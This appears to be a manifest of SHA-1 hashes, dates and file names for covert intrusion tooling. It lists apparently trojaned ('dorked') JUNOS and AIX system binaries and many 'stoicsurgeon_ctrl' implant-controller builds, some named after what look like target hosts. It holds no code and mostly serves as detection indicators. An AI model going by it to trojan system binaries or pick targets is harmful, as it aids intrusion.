/usr/sbin/inetd [AIX 5 1 dorked] + +22BEE3766C4B00853D3392CE8F01531FE429611C Fri Oct 3 18:58:16 2008 /bin/ls [JUNOS 9.2R2.15] +BF84D3CCA880ED47446D42D1378D92A361CA3BF1 Fri Oct 3 19:00:47 2008 /bin/rm [JUNOS 9.2R2.15] +213FCE6EE34084BF6B615950EB36EBFB031666F5 Fri Oct 3 19:10:33 2008 /bin/sh [JUNOS 9.2R2.15] +21348A220C781A29DF8D4FD2B3FF339082FE3770 Fri Oct 3 18:59:39 2008 /bin/ps [JUNOS 9.2R2.15] +323A30E352895AA00DB78126992C9C9D94D9475D Fri Oct 3 19:04:39 2008 /usr/bin/find [JUNOS 9.2R2.15] +BD13A7B02E9D97F4B020F3E0004A5579D6E34C88 Fri Oct 3 19:46:15 2008 /usr/bin/telnet [JUNOS 9.2R2.15] +F98BD1DDF240A329D43C68815120582F29675FCD Fri Oct 3 19:15:55 2008 /usr/bin/w [JUNOS 9.2R2.15] +6AC7735D9BB1F2D1C5EA8447C8333E6FEC7D2436 Fri Oct 3 19:45:40 2008 /usr/sbin/arp [JUNOS 9.2R2.15] +30D0F234922ACC637FFF55A49B24A2407BB245FC Fri Oct 3 19:46:14 2008 /usr/sbin/inetd [JUNOS 9.2R2.15] +0FF8E080576323F1197D723BD1C99B6F3457342C Fri Oct 3 19:45:52 2008 /usr/bin/netstat [JUNOS 9.2R2.15] + +0EC5216DD589DDA7768498ED2C10225F21822292 Wed Jun 7 19:44:02 2006 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.0.10.2_i686-pc-linux-gnu-2.4.20-av15 +0EC5216DD589DDA7768498ED2C10225F21822292 Wed Jun 7 19:44:02 2006 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.0.10.3_i686-pc-linux-gnu-2.6.11-av15 +FA564C4230152A0E6FC8AC15EFB3E1E735AA0DFC Wed Jun 7 20:32:22 2006 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.0.11.1_sparc-sun-solaris2.10 +942F7EFBE51030D98433FB198C81299161E65BEF Tue Aug 22 14:22:36 2006 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.0.15.10_i686-pc-linux-gnu-2.4-tilttop-ns +2DC37E83A0BCDC7A02474E197EDC8D16F48AC9A6 Tue Aug 8 19:50:04 2006 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.0.15.1_i686-pc-linux-gnu-2.6.9-34.el +ED16EAD39FB8FA1C3821B734BB8A8ACB17A4AB05 Mon Aug 14 19:12:29 2006 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.0.15.6_i686-pc-linux-gnu-2.4-tilttop-comet +FAD6E15BC909986482728C6DD8F8F3D00320B048 Thu Aug 17 14:35:37 2006 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.0.15.8_i686-pc-linux-gnu-2.4.20-8 +29E97E7CB6E2992632D83E2A476565260AEAAB16 Thu Mar 2 19:16:45 2006 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.0.5.2_sparc-sun-solaris2.8 +6D9735E089A03AC324F5C9D7E0B9B8FFD636DD8A Thu Mar 2 19:28:08 2006 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.0.5.3_sparc-sun-solaris2.9 +3CAFCA66355ABB2B92C6924C3E81C90890019446 Thu Jul 27 13:40:05 2006 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.0.7.1_i386-pc-solaris2.8 +FA452F3E881F002B8F3C9D0A4A838423684ED37D Mon Dec 18 18:29:24 2006 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.1.14.1_x86-linux-centos +580B23696C44526A820758AA2951A3F2795F4D80 Wed Jan 3 17:11:43 2007 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.1.16.1_x86-linux-vinifera-npost +BF6566BAAA67FEBA86BE29D3766856FF42AF588D Thu Jan 4 17:00:55 2007 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.1.17.1_x86-linux-redhat-enterprise-3.0 +9A66C89DD467C01BED257D0DB75E526D0F57248D Tue Jan 16 17:33:59 2007 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.1.18.1_x86-linux-mandriva-10.2 +8AB10559CB70DFF03A5EEE6589165FC5AEB8B99C Fri Jan 19 17:25:30 2007 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.1.19.1_x86-linux-redhat-7.2 +747436F4C779840D12998083B97D8AD111E28B07 Wed Jan 24 20:35:01 2007 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.1.19.2_x86-linux-2.4-tilttop-comet_emx_ns +BAED37AA0A5C9A30C8EDCE26EC6DECCA84E1C16B Wed Oct 18 21:14:06 2006 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.1.2.1_x86-linux-2.4-tilttop-comet_emx_ns +E894911EF11C917484DB8EFABC44B489D6B358F4 Mon Jan 29 19:10:05 2007 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.1.20.3_sparc-sun-solaris2.9 +32F6D6F91365C4BA33E4E9CD1A69071BCCAE0DB3 Thu Mar 1 18:06:00 2007 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.1.23.3_x86-linux-fedora4 +32F6D6F91365C4BA33E4E9CD1A69071BCCAE0DB3 Thu Mar 1 18:06:00 2007 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.1.23.6_x86-linux-redhat-9.0 +32F6D6F91365C4BA33E4E9CD1A69071BCCAE0DB3 Thu Mar 1 18:06:00 2007 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.1.23.7_x86-linux-centos +2BFC85383B7DF9EBD7502052DA09C2043DF72E67 Fri Feb 23 02:22:26 2007 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.1.24.1_sparc-sun-solaris2.10 +8B40560102432591B34525E83B63A717247C0322 Fri Feb 23 23:20:34 2007 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.1.24.3_sparc-sun-solaris2.8 +8C0FF9B62B27444FBE480D02A414F7B286606A13 Fri Mar 9 16:30:18 2007 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.1.26.2_x86-linux-fedora2 +8C0FF9B62B27444FBE480D02A414F7B286606A13 Fri Mar 9 16:30:18 2007 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.1.26.3_x86-linux-fedora3 +8C0FF9B62B27444FBE480D02A414F7B286606A13 Fri Mar 9 16:30:18 2007 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.1.26.4_x86-linux-debian-3.1 +D990EEDD8C23761E1D8D061FDF7EAA05607AF235 Mon Mar 19 19:03:21 2007 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.1.27.1_x86-linux-vinifera-mail-npost +20A2085BA96F1A55A34A3EDC206B9250C91DC24C Tue Mar 20 00:39:23 2007 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.1.27.3_i386-pc-solaris2.9 +1A0607447CBA9330DE1DC67313EE305467DBB523 Tue Mar 20 00:48:29 2007 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.1.27.4_sparc-sun-solaris2.9 +E6A6D8E7A3F6B38D35A12A3B87C86A9A2AA57E64 Thu Mar 22 16:34:49 2007 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.1.27.5_x86-linux-tilttop-gate.itec +201453C2A5D40EE92E2098C60245F4709C396CCC Mon Apr 2 12:12:50 2007 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.1.27.7_x86-linux-centos +D87A8863835E4B2CCCBEE61C0777F724FC66C850 Wed Apr 11 19:44:42 2007 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.1.29.1_i386-pc-solaris2.8 +274C269E623F33C68DB1F3201A8D2CBBF24E5F46 Fri Oct 20 19:34:01 2006 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.1.3.1_x86-linux-slackware-10.2 +1CDAFE741FCC189C55B25356F207E9D20953CCC3 Wed Apr 18 14:25:07 2007 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.1.32.1_x86-linux-redhat-7.3 +7BE957E594F31A2A80145D10B7B4478FCA6C6E8A Tue May 15 13:01:50 2007 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.1.34.1_x86-linux-tilttop +84643FE9568C2E0A82B66C9440F881718709144F Thu Jun 14 15:52:03 2007 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.1.36.1_x86-linux-tilttop +4476CAA6364356AE2B7A3FE9FDEBFE8992E67AC4 Thu Jun 21 19:52:57 2007 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.1.38.1_sparc-sun-solaris2.8 +442DCA27B860DE73A481AEE3BCA842D25628C700 Mon Jun 25 14:30:53 2007 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.1.39.1_x86-linux-tilttop +53346A4267DD85555A9D37B4B17AFD73FBFE0B40 Thu Oct 26 20:02:29 2006 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.1.4.1_x86-linux-fedora4 +40E4AE70C9A2610EBBF740DDC20E743FE8BD464F Mon Nov 6 21:39:47 2006 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.1.7.1_x86-linux-vinifera-mail +FFC9EE95C126CB0DFA8D5B1E3EA1E7AB77A10C1A Thu Jun 28 14:56:00 2007 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.2.1.1_x86-linux-suse-10.0 +83BF26028750DB86E96AD423F08F3FDE364962EC Thu Sep 6 18:37:42 2007 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.2.10.1_x86-linux-fedora5 +83BF26028750DB86E96AD423F08F3FDE364962EC Thu Sep 6 18:37:42 2007 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.2.10.2_x86-linux-fedora6 +83BF26028750DB86E96AD423F08F3FDE364962EC Thu Sep 6 18:37:42 2007 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.2.10.4_x86-linux-redhat-7.3 +98508DB078856EB8551F1C73BD51FAE9FB2374E9 Wed Sep 19 15:56:10 2007 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.2.12.2_sparc-sun-solaris2.10 +E7E31BD04CBB85579DC964DE8F14BCE031A56BCD Fri Sep 21 11:25:44 2007 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.2.12.3_i386-pc-solaris2.10 +D843B6C73F4EC203CD471D799BE38E50DA75B0BF Mon Nov 19 17:13:58 2007 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.2.15.1_x86-freebsd-6.2 +9D208CCE14B7D2636F1374ABA94C43F458169E8A Thu Jul 5 15:54:45 2007 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.2.3.2_sparc-sun-solaris2.10 +DF34CA67E7998DB0140434A5147FCE46815ADFAD Thu Jul 5 17:21:02 2007 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.2.4.1_x86-linux-tilttop +9FEA242ADFA2C15A684FEA304D3D43F672E605DB Fri Jul 6 14:52:13 2007 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.2.4.2_x86-linux-fedora3 +0ADAAAF1B4184C1D335C82859477BF605ECD9062 Mon Jul 9 16:56:03 2007 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.2.4.3_x86-linux-mandriva-2006 +FBBC6D2DB5C7A44B2B8EDAB4F8BF1723AFAEFE17 Thu Jul 19 16:55:04 2007 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.2.4.4_x86-linux-asianux-1.0 +F2746F9272B8DE7DB3BF8A90EE9824E0C9E082CC Wed Jul 25 16:25:31 2007 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.2.4.5_x86-linux-redhat-enterprise-3.0 +F2746F9272B8DE7DB3BF8A90EE9824E0C9E082CC Wed Jul 25 16:25:31 2007 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.2.4.6_x86-linux-redhat-enterprise-4.0 +FD1FA752D6A50FDFD8958CC65DF40270E2671CDD Wed Aug 8 21:24:36 2007 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.2.6.2_x86-linux-redhat-enterprise-3.0 +3ABD02B49106A045306C8F14D508228DAE3A41F6 Fri Aug 10 23:51:52 2007 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.2.7.1_sparc-sun-solaris2.9 +B860F4742060ED0325F5E80DC9D6236F26A6E773 Mon Aug 13 17:23:36 2007 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.2.7.2_sparc-sun-solaris2.8 +65622A6B3CEDBDADCAD255D67F6C52385E2C84D5 Mon Aug 27 22:01:37 2007 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.2.7.3_sparc-sun-solaris2.7 +A359CDB926BE62DCD0660C9982DEB6033D90D9BB Wed Aug 22 18:20:57 2007 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.2.9.1_x86-linux-centos +A359CDB926BE62DCD0660C9982DEB6033D90D9BB Wed Aug 22 18:20:57 2007 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.2.9.2_x86-linux-slackware-10.2 +0CF52196370172A1EEE7AAE486A89B98169CDD3F Mon Dec 3 16:39:38 2007 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.3.2.1_x86-linux-guardianwall +07957E1C64E8221B34BC5D4087295E3248ABF8E6 Wed Dec 5 18:44:18 2007 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.3.3.1_x86-linux-suse-8.2 +0C5EEB2CF32DD7C98CCBEB4A6D7B54AF67F075DC Wed Dec 12 14:35:27 2007 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.3.4.2_x86-linux-suse-10.0 +0C5EEB2CF32DD7C98CCBEB4A6D7B54AF67F075DC Wed Dec 12 14:35:27 2007 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.3.4.3_x86-linux-tilttop-gate.nto +A7B9BC504A47948D1B8810C1E5A80FAA702D648A Thu Feb 7 23:57:08 2008 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.4.0.1_x86-linux-fedora7 +DF88FBA1604F4469F45D8CA1644D8E33C3F1D863 Mon Mar 31 17:15:37 2008 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.4.10.10_x86-linux-avaya +BDA4EF8C5C070F436FCDF089C8FB13F6801CC36C Mon Mar 31 21:05:06 2008 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.4.10.11_x86-freebsd-6.2 +E0601839DDA8826A3ADE6567BAC3F4D68C318D08 Fri Apr 4 16:13:56 2008 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.4.10.12_x86-linux-tilttop +E0601839DDA8826A3ADE6567BAC3F4D68C318D08 Fri Apr 4 16:13:56 2008 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.4.10.13_x86-linux-debian-3.0 +AB0E4769BC9CAEC5DA1B60BECF5E3694583477F9 Tue Apr 8 19:29:44 2008 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.4.10.14_x86-freebsd-5.5 +E0601839DDA8826A3ADE6567BAC3F4D68C318D08 Fri Apr 4 16:13:56 2008 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.4.10.1_x86-linux-fedora4 +E0601839DDA8826A3ADE6567BAC3F4D68C318D08 Fri Apr 4 16:13:56 2008 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.4.10.2_x86-linux-fedora7 +E0601839DDA8826A3ADE6567BAC3F4D68C318D08 Fri Apr 4 16:13:56 2008 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.4.10.3_x86-linux-redhat-7.3 +E0601839DDA8826A3ADE6567BAC3F4D68C318D08 Fri Apr 4 16:13:56 2008 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.4.10.4_x86-linux-mandrake-9.2 +F0201BC46CA67A95776917F601EF1F2CCD747863 Wed Mar 26 13:20:28 2008 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.4.10.5_x86-freebsd-6.1 +3695C4DDFE04926A16E9CB40E0166CEF0C65C7A5 Thu Mar 27 15:26:50 2008 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.4.10.6_x86-freebsd-5.4 +810C7E86897D50D18044A5CA014FF7484E01CF1A Thu Mar 27 20:46:53 2008 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.4.10.7_x86-freebsd-6.0 +76DBD26A300419016B911397B064C3ABC7676BC7 Fri Mar 28 17:35:21 2008 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.4.10.8_x86-freebsd-5.3 +E0601839DDA8826A3ADE6567BAC3F4D68C318D08 Fri Apr 4 16:13:56 2008 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.4.10.9_x86-linux-centos-5.0 +54C2C45EA2FB9A690C96101E7A82702D86E5536A Mon May 5 17:04:34 2008 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.4.11.1_sparc-sun-solaris2.10 +54C2C45EA2FB9A690C96101E7A82702D86E5536A Mon May 5 17:04:34 2008 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.4.11.2_sparc-sun-solaris2.10 +503A3BFA5E65D8CA87CF9C111FE24EBC5D644223 Sat May 17 19:44:50 2008 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.4.12.1_x86-linux-ubuntu +25FE57508C46F70814EE8F44797BB1C8FA076EA2 Thu Jun 26 22:40:27 2008 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.4.12.2_x86-linux-slackware-10.0 +D22CF413672BDB550571EFA30434A8911A00E10B Mon Jun 9 13:35:40 2008 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.4.14.1_i386-pc-solaris2.10 +B8A84650AEDD6B9552D97466B7E91AEC51ACC3B8 Fri Jul 25 17:41:45 2008 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.4.15.14_x86-linux-fedora1 +55625FFF3B12E06F6CE505F27430506F220E1AB6 Wed Jul 30 15:40:34 2008 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.4.15.1_x86-linux-centos-5.1 +C3D13B1F37C3D11BAC7468F78BA872BFC9703752 Tue Sep 2 22:04:03 2008 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.4.17.1_x86-linux-debian-4.0 +C3D13B1F37C3D11BAC7468F78BA872BFC9703752 Tue Sep 2 22:04:03 2008 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.4.17.2_x86-linux-tilttop +C3D13B1F37C3D11BAC7468F78BA872BFC9703752 Tue Sep 2 22:04:03 2008 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.4.17.4_x86-linux-fedora7 +C3D13B1F37C3D11BAC7468F78BA872BFC9703752 Tue Sep 2 22:04:03 2008 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.4.17.5_x86-linux-centos-4.5 +C3D13B1F37C3D11BAC7468F78BA872BFC9703752 Tue Sep 2 22:04:03 2008 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.4.17.6_x86-linux-fedora6 +C3D13B1F37C3D11BAC7468F78BA872BFC9703752 Tue Sep 2 22:04:03 2008 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.4.17.7_x86-linux-tilttop +C3D13B1F37C3D11BAC7468F78BA872BFC9703752 Tue Sep 2 22:04:03 2008 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.4.17.8_x86-linux-centos-5.2 +7B90A3360A533C618B99ADA58F2B57F3B4AF6ABD Thu Sep 18 17:15:20 2008 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.4.20.1_x86-freebsd-6.1-wickedviper +2733A3EBCE345CE22DF059C83527F86A11A58F4A Mon Sep 22 17:13:24 2008 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.4.21.1_x86-linux-centos-wax-5.x +87D86356FC34C528B9945786A9DCBAA09E1B87F3 Mon Oct 6 15:17:00 2008 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.4.23.10_x86_linux_tilttop_1.4.23.10 +87D86356FC34C528B9945786A9DCBAA09E1B87F3 Mon Oct 6 15:17:00 2008 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.4.23.1_x86-linux-debian-4.0 +87D86356FC34C528B9945786A9DCBAA09E1B87F3 Mon Oct 6 15:17:00 2008 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.4.23.2_x86-linux-tilttop +87D86356FC34C528B9945786A9DCBAA09E1B87F3 Mon Oct 6 15:17:00 2008 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.4.23.3_x86_linux_centos_i386_linux +87D86356FC34C528B9945786A9DCBAA09E1B87F3 Mon Oct 6 15:17:00 2008 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.4.23.8_x86-linux-suse-9.3 +87D86356FC34C528B9945786A9DCBAA09E1B87F3 Mon Oct 6 15:17:00 2008 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.4.23.9_x86-linux-tilttop +2601FC3E7B6510066BA996658B291BE85AA395D0 Fri Oct 10 19:13:39 2008 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.4.24.2_x86_linux_fedora_i386_linux +2601FC3E7B6510066BA996658B291BE85AA395D0 Fri Oct 10 19:13:39 2008 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.4.24.3_x86-linux-redhat-7.3 +2601FC3E7B6510066BA996658B291BE85AA395D0 Fri Oct 10 19:13:39 2008 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.4.24.4_x86-linux-redhat-8.0 +2601FC3E7B6510066BA996658B291BE85AA395D0 Fri Oct 10 19:13:39 2008 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.4.24.5_x86-linux-suse-10.0 +4995B9893B53A3C952F3CDE20BA58835E3C4EBD8 Tue Dec 16 01:15:29 2008 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.4.25.1_x86_64-linux-suse-10.1 +B1DB5CE3ECB59E706FFAC2F86941391523A6FAFC Thu Dec 18 13:59:41 2008 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.4.26.1_sparc-sun-solaris2.9 +51BC225DCCA87DE3E442E42B250DD708B4F5B79F Thu Dec 18 15:55:07 2008 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.4.26.2_sparc-sun-solaris2.10 +90B77EED9255EE8C65F93E4B765F598B8FFD62EE Thu Dec 18 23:38:58 2008 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.4.26.3_sparc-sun-solaris2.8 +558F0B6A910038CA54CAEE342D6BC06423942E8C Thu Jan 8 22:08:44 2009 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.4.27.1_x86-linux-alt-4.0 +558F0B6A910038CA54CAEE342D6BC06423942E8C Thu Jan 8 22:08:44 2009 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.4.27.2_x86-linux-ubuntu-7.04 +ACBAC88AB3CC0714A6EA3A4A46B967C649EF44FB Mon Feb 2 15:46:10 2009 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.4.28.1_x86-linux-slackware-9.1 +ACBAC88AB3CC0714A6EA3A4A46B967C649EF44FB Mon Feb 2 15:46:10 2009 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.4.28.2_x86-linux-centos-5.1 +ACBAC88AB3CC0714A6EA3A4A46B967C649EF44FB Mon Feb 2 15:46:10 2009 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.4.28.3_x86-linux-alt-4.0 +ACBAC88AB3CC0714A6EA3A4A46B967C649EF44FB Mon Feb 2 15:46:10 2009 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.4.28.4_x86-linux-crypticsentinel-mailser +ACBAC88AB3CC0714A6EA3A4A46B967C649EF44FB Mon Feb 2 15:46:10 2009 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.4.28.5_x86-linux-fedora6 +ACBAC88AB3CC0714A6EA3A4A46B967C649EF44FB Mon Feb 2 15:46:10 2009 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.4.28.7_x86-linux-tilttop +ACBAC88AB3CC0714A6EA3A4A46B967C649EF44FB Mon Feb 2 15:46:10 2009 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.4.28.8_x86-linux-tilttop +ACBAC88AB3CC0714A6EA3A4A46B967C649EF44FB Mon Feb 2 15:46:10 2009 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.4.28.9_x86-linux-fedora3 +0D7387E1745337170F9C01FF20AF9B04FB572670 Tue Feb 26 15:43:10 2008 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.4.3.1_sparc-sun-solaris2.7 +0D7387E1745337170F9C01FF20AF9B04FB572670 Tue Feb 26 15:43:10 2008 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.4.3.2_sparc-sun-solaris2.8 +0D7387E1745337170F9C01FF20AF9B04FB572670 Tue Feb 26 15:43:10 2008 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.4.3.3_sparc-sun-solaris2.9 +0D7387E1745337170F9C01FF20AF9B04FB572670 Tue Feb 26 15:43:10 2008 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.4.3.4_sparc-sun-solaris2.10 +2554846FD7B026FF46E01EAE06DAC4625362F87F Mon Mar 10 13:37:17 2008 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.4.3.5_i386-pc-solaris2.8 +2554846FD7B026FF46E01EAE06DAC4625362F87F Mon Mar 10 13:37:17 2008 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.4.3.6_i386-pc-solaris2.9 +2554846FD7B026FF46E01EAE06DAC4625362F87F Mon Mar 10 13:37:17 2008 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.4.3.7_i386-pc-solaris2.10 +0D7387E1745337170F9C01FF20AF9B04FB572670 Tue Feb 26 15:43:10 2008 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.4.3.8_sparc-sun-solaris2.9 +2554846FD7B026FF46E01EAE06DAC4625362F87F Mon Mar 10 13:37:17 2008 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.4.3.9_i386-pc-solaris2.9 +D5BE0DE5664164D4D32620F5CF684F9D952A04D8 Fri Feb 6 17:09:21 2009 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.4.30.1_x86-linux-centos-5.2 +D5BE0DE5664164D4D32620F5CF684F9D952A04D8 Fri Feb 6 17:09:21 2009 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.4.30.4_x86-linux-centos-4.3 +6598EB9B337F863031EF5813BCC4F811182F9A50 Fri Feb 20 15:06:03 2009 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.4.31.1_x86_linux_suse_10.3_bin +6598EB9B337F863031EF5813BCC4F811182F9A50 Fri Feb 20 15:06:03 2009 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.4.31.2_x86-linux-redhat-enterprise-3.0 +6598EB9B337F863031EF5813BCC4F811182F9A50 Fri Feb 20 15:06:03 2009 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.4.31.3_x86_linux_fedora5_bin +6598EB9B337F863031EF5813BCC4F811182F9A50 Fri Feb 20 15:06:03 2009 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.4.31.4_x86_linux_tilttop_bin +6598EB9B337F863031EF5813BCC4F811182F9A50 Fri Feb 20 15:06:03 2009 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.4.31.5_x86-linux-redhat-enterprise-4.0 +6598EB9B337F863031EF5813BCC4F811182F9A50 Fri Feb 20 15:06:03 2009 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.4.31.6_x86-linux-vinifera-bs003v01 +9C20B5167217B42221A8354C6E033D65A250BA34 Wed Feb 25 17:33:11 2009 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.4.31.7_x86_64-linux-centos-4.6 +6598EB9B337F863031EF5813BCC4F811182F9A50 Fri Feb 20 15:06:03 2009 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.4.31.8_x86_linux_debian_4.0_bin +D93192C51433A7BDAD17D1DA60F85DFE42A25C01 Mon Mar 9 13:07:58 2009 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.4.32.1_x86-linux-suse-enterprise-9 +D93192C51433A7BDAD17D1DA60F85DFE42A25C01 Mon Mar 9 13:07:58 2009 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.4.32.2_x86_linux_ubuntu_8.04_bin +D93192C51433A7BDAD17D1DA60F85DFE42A25C01 Mon Mar 9 13:07:58 2009 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.4.32.3_x86-linux-debian-3.1 +F0CAFE1257CA4BA4C6AF42E7C51523AC2968BD71 Mon Mar 9 20:29:53 2009 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.4.32.4_x86-linux-avaya +A273CF535F881F9904BE321BEDA75769497AE241 Tue Mar 10 19:43:53 2009 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.4.32.5_x86_64-linux-redhat-enterprise-4.0 +D93192C51433A7BDAD17D1DA60F85DFE42A25C01 Mon Mar 9 13:07:58 2009 [PITCHIMPAIR.99] stoicsurgeon_ctrl__v__1.4.32.6_x86_linux_slyeagle_ns.multinet.af_bin 